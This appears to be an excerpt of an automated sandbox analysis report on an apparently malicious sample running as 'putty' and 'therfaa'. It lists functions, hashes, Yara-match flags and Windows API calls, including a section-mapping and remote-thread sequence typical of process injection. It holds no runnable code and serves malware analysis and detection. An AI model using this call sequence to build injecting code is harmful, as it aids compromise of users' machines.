Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 9d5b859ba72c962825dc60c8b022eab789b2e7cfb9c30cc8ad05e6540c94885c
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 93C1A273C0EAB3068B36892D51542ABEE626FD1B5131FC7E2CCD43F389C62A5E9095D4

Function 00412E9C Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2902c450821a17479ce250b04adbe3238ff3cc18e9a4ae1e1f676290d29d2d9d
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 1AC19073D0EAB30A8735852D41582ABEEA26FC1B4131FC7E28CD43F389D66B5E9191D4

Function 00481694 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_470000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 946bb7b9b77b1d5a74fb323cb34260231e2924ec54c11fde3bcc4e4e630fad69
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AA1170727401009FD744DF55DCC1FAA73EEEB89320B29846AED05CB325E679E842C764

Function 004013CA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction ID: b4d99e39562e0a8d34f4e8a2adcb899dff0217260de8cdfa4497104cdd6e8b78
Opcode Fuzzy Hash: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction Fuzzy Hash: 7A117A22B1C21196E3179A918A460A97710DB11360B74C87BD493BB8F3C27D98066BCB

Function 004013D9 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction ID: 9c1a6264578523f2b95dbae5c8345fb03cc7a3f7f5b051fb9d7a91e089220ce3
Opcode Fuzzy Hash: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction Fuzzy Hash: 06118C27A1C20096E3179A90C6461A5B760DB12360B74887BD493778F3D17D58065BCF

Function 004013E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction ID: 7cced9f7fdb1c3f7b009c6269bf5343d8ea2104f00e9896e504acad3335f8aa1
Opcode Fuzzy Hash: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction Fuzzy Hash: 1811AB23F1C20056E3179F91C6460A8B760DB12360B748C7FD4826B8F7D27D98129BCB

Function 004013F0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction ID: 5938fd262c6d7fd7e9059b2c6d5fc66a7b7b37341f859f3ef56555a79cfd23f8
Opcode Fuzzy Hash: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction Fuzzy Hash: 0401AB33F1C20056E3179AA0C6860A9B760DB12360B74887BD482678F3D23D98025BCF

Function 004013F4 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction ID: 34643119912da5106e2d45a94dd8d32290489c90b68d507143b233416c26121d
Opcode Fuzzy Hash: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction Fuzzy Hash: A101BD23F2821055D71B9BA0C6860E8BB20DA12360B7489BBD052778F3D23C94028BCD

Function 004F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4f0000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 2b3fd6cf4533f3a8e818fb1884d4457831b369b992358946cb87bab4cba5e53e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 3701A7766016088FDF21CF64C904BBB33E5FBD6316F4544A6DA0697342E778A9418B94

Function 00401412 Relevance: .0, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 0000000E.00000002.1490617655.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction ID: 94d0d6187efa1b4f5fb96639de9bee4adb18fcc7c1e699108f742e7c63bf3b1b
Opcode Fuzzy Hash: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction Fuzzy Hash: FF019953F2D64126D72B9FA086460D9BB20E9133B07748DBFD4A267CF7C274941487C9

Function 00414047 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00414122
_memset.LIBCMT ref: 00414142
___ansicp.LIBCMT ref: 00414199
___convertcp.LIBCMT ref: 004141BA

Part of subcall function 004143CF: _memset.LIBCMT ref: 004144C9

Strings

1BA, xrefs: 004141CB

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: _memset$___ansicp___convertcp_malloc
String ID: 1BA
API String ID: 182381717-427559476
Opcode ID: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction ID: c477a1a75e98c9aee6368b68bfaa6e784f79f85bafb577a3b4888ecfb962d632
Opcode Fuzzy Hash: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction Fuzzy Hash: 7051BE7550011AFFDB109FA5DC859EF3BA9EB98354B20453AFA04D7260D738CDE18B98

Function 0040D7A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040D7BE
__lock.LIBCMT ref: 0040D819
__lock.LIBCMT ref: 0040D83A

Strings

x$@, xrefs: 0040D7CA

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: x$@
API String ID: 946058739-580337868
Opcode ID: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction ID: f8475ee44d53d994f5b99ace5135e8e36cb9c777021c500f84fce444b4195f36
Opcode Fuzzy Hash: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction Fuzzy Hash: 7A119071940741EEE720AF769945B4ABBE0AF04318F10853FE4A9B72E1CB78A945CF5C

Function 0041827B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004182A1

Part of subcall function 004180C6: __fltout2.LIBCMT ref: 004180F2

__cftog_l.LIBCMT ref: 004182C7
__cftoe_l.LIBCMT ref: 004182F9

Memory Dump Source

Source File: 0000000E.00000002.1490778089.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_putty.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 81a52edbc7f04b0b3beaf306ef0248834585fa557240606b8da63e4de76e0855
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5C117E3640054EBBCF135E84CC018EE3F22BB19354B18845AFE1859131CB3AC9B2EB89

Analysis Process: therfaaPID: 4252, Parent PID: 1060COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	96.9%
Signature Coverage:	0%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 0072003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0072024D

Strings

kernel32.dll, xrefs: 0072008F, 00720095
cess, xrefs: 0072018D

Memory Dump Source

Source File: 00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_720000_therfaa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: b8812dad7fe1ca0bb043ed187b53687dad4eb9db5f569f0ec4c3fa07ccda18af
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 97527A74A00229DFDB64CF58D984BA8BBB1BF09304F1480D9E50DAB352DB34AE94DF64

Function 00551DB7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00551DDF
Module32First.KERNEL32(00000000,00000224), ref: 00551DFF

Memory Dump Source

Source File: 00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_540000_therfaa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f1c57272fabd42fd63d265e4ac91a30392eb573b06218172ef30a9a99234f6b8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: ABF0F636100B116BD7203BF5A89DBAE7EFCBF49326F10052AEA42910C0CB70ED494664

Function 00720E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00720223,?,?), ref: 00720E19
SetErrorMode.KERNELBASE(00000000,?,?,00720223,?,?), ref: 00720E1E

Memory Dump Source

Source File: 00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_720000_therfaa.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: cfa6968bfae5348f77af3aa7adfeb525760b97280b12a26551987611985b10e1
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BFD0123154512877D7003AA4DC09BCD7B1CDF05B62F008411FB0DD9081C774994046E5

Function 0040C3B1 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C3C6

Memory Dump Source

Source File: 00000015.00000002.1743030934.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_40b000_therfaa.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction ID: 94244e611b537c2edf94d5cca879c25ed5d218993ee5c4132b7c1dd7bdc8514f
Opcode Fuzzy Hash: 71222e89fbad33bf90c2f892ffc061b9edb59bf11242c618400469350826e5ca
Instruction Fuzzy Hash: 61D05E36590349AADB009FB27C097623BDCA385396F00C436B91CC6590F675C6809A08

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 00551A76 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00551AC7

Memory Dump Source

Source File: 00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_540000_therfaa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a86be49f6bfa65ad5df62968c35ae2b0e40302fb1c4c0450093ea44e4d562850
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5C112B79A00208EFDB01DF98C999E98BFF5AF08351F058095F9489B362D771EA90DB84

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000015.00000002.1743003131.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_therfaa.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 00410E32 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410E69
___getlocaleinfo.LIBCMT ref: 00410E7E
___getlocaleinfo.LIBCMT ref: 00410E93
___getlocaleinfo.LIBCMT ref: 00410EA8
___getlocaleinfo.LIBCMT ref: 00410EC0
___getlocaleinfo.LIBCMT ref: 00410ED5
___getlocaleinfo.LIBCMT ref: 00410EE7
___getlocaleinfo.LIBCMT ref: 00410EFC
___getlocaleinfo.LIBCMT ref: 00410F14
___getlocaleinfo.LIBCMT ref: 00410F29

Memory Dump Source

